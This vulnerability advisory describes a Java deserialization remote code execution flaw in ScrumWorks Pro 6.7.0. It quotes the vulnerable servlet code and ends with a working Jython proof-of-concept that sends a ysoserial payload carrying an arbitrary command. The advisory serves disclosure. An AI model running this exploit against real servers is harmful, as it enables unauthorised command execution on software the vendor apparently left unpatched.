SSD Advisory – ScrumWorks Pro Remote Code Execution

Vulnerability Summary
The following advisory describes a remote code execution vulnerability found in ScrumWorks Pro version 6.7.0.
“CollabNet ScrumWorks Pro is an Agile Project Management for Developers, Scrum Masters, and Business”. A trial version can be downloaded from the vendor: https://www.collab.net/products/scrumworks
Credit
A security researcher from, Siberas, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
Vendor response
Collab was informed of the vulnerability, and responded to it that – “We had a check with our Scrumworks Engineering team and after initial analysis, they’ve concluded that the Vulnerability which was reported will be considered of least priority from our end and it might be fixed in the future, however, We can’t assure you on the time line as our team is working with more priority issues at the moment.”

Vulnerability details
ScumWorks Pro provides a web interface and a Java client that can be started via Java Web Start (JNLP).
The Java client sends serialized Java objects to the /UFC endpoint of the application server.
These requests are handled by the class com.danube.scrumworks.controller.FrontController, method “doPost“:

---
protected void doPost(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse)
    throws IOException
  {
    ServerSession localServerSession = getSession(paramHttpServletRequest);
    AbstractExecutableCommand localAbstractExecutableCommand = null;
    ObjectInputStream localObjectInputStream = new ObjectInputStream(new GZIPInputStream(paramHttpServletRequest.getInputStream()));
    try
    {
      AbstractCommand localAbstractCommand = (AbstractCommand)localObjectInputStream.readObject();
      localAbstractExecutableCommand = (AbstractExecutableCommand)Class.forName(getExecutableCommandName(localAbstractCommand)).newInstance();
      paramHttpServletResponse.addHeader("X-SWP-responseType", "object");
      if (localServerSession.isExpired())
      {
        paramHttpServletRequest.getSession().invalidate();
        sendResponse(paramHttpServletResponse, new ReAuthenticateException());
        return;
      }
      localObject1 = ControllerUtils.extractUserFromAuthorizationHeader(paramHttpServletRequest);
      String str = localObject1 == null ? null : ((UserTO)localObject1).getUserName();
      LOGGER.info("[User: " + str + "] command: " + localAbstractCommand);
      if (Maintenance.isMaintenanceMode()) {
        sendResponse(paramHttpServletResponse, ServerException.getMaintenanceModeException());
      } else {
        runCommandIfAuthorized((UserTO)localObject1, localAbstractExecutableCommand, localAbstractCommand, paramHttpServletResponse);
      }
    }
    catch (ServerException localServerException)
    {
      localServerException.printStackTrace();
      sendResponse(paramHttpServletResponse, localServerException);
    }
    catch (InvalidClassException localInvalidClassException)
    {
      LOGGER.error("An outdated client tried to send a command.  Please log out and restart the client.");
      sendResponse(paramHttpServletResponse, new ServerException("The server has been updated.  Please relaunch your client.", localInvalidClassException));
    }
    catch (Exception localException)
    {
      LOGGER.debug("error handling request", localException);
      Object localObject1 = unwrapException(localException);
      LOGGER.error("error executing a command", (Throwable)localObject1);
      if (localAbstractExecutableCommand != null) {
        sendResponse(paramHttpServletResponse, ServerException.getMisconfiguredServerException((Exception)localObject1));
      }
    }
    finally
    {
      localObjectInputStream.close();
    }
  }
---

Before the first try block, the http POST body is ZIP decompressed and then used to read a Java object via readObject, making the application vulnerable to Java deserialization attacks if a suitable gadget is available. As many other applications, ScrumWorks Pro ships with a vulnerable version of Apache CommonsCollections (3.2.1) that can be used to execute arbitrary code with the permissions of the ScrumWorks application server.
Proof of concept
The following Python script requires jython (at least version 2.5.3) and a local copy of the ysoserial library (https://github.com/frohoff/ysoserial).

---
#
# Scrumworks Java Deserialization Remote Code Execution PoC
#
import httplib
import urllib
import sys
import binascii
# load the ysoserial.jar file
sys.path.append("./ysoserial.jar")
from ysoserial import *
from ysoserial.payloads import *
# ZIP support
from java.io import ByteArrayOutputStream
from java.io import ObjectOutputStream
from java.util.zip import GZIPOutputStream
print "Scrumworks Java Deserialization Remote Code Execution PoC"
print "========================================================="
if len(sys.argv) != 4:
  print "usage: " + sys.argv[0] + " host port command\n"
  exit(3)
payloadName = "CommonsCollections5"
payloadClass = ObjectPayload.Utils.getPayloadClass(payloadName);
if payloadClass is None:
  print("Can't load ysoserial payload class")
  exit(2);
# serialize payload
payload = payloadClass.newInstance()
exploitObject = payload.getObject(sys.argv[3])
# create streams
byteStream = ByteArrayOutputStream()
zipStream = GZIPOutputStream(byteStream)
objectStream = ObjectOutputStream(zipStream)
objectStream.writeObject(exploitObject)
# close streams
objectStream.flush()
objectStream.close()
zipStream.close()
byteStream.close()
# http request
print "sending serialized command"
conn = httplib.HTTPConnection(sys.argv[1] + ":" + sys.argv[2])
conn.request("POST", "/scrumworks/UFC-poc-", byteStream.toByteArray())
response = conn.getresponse()
conn.close()
print "done"
---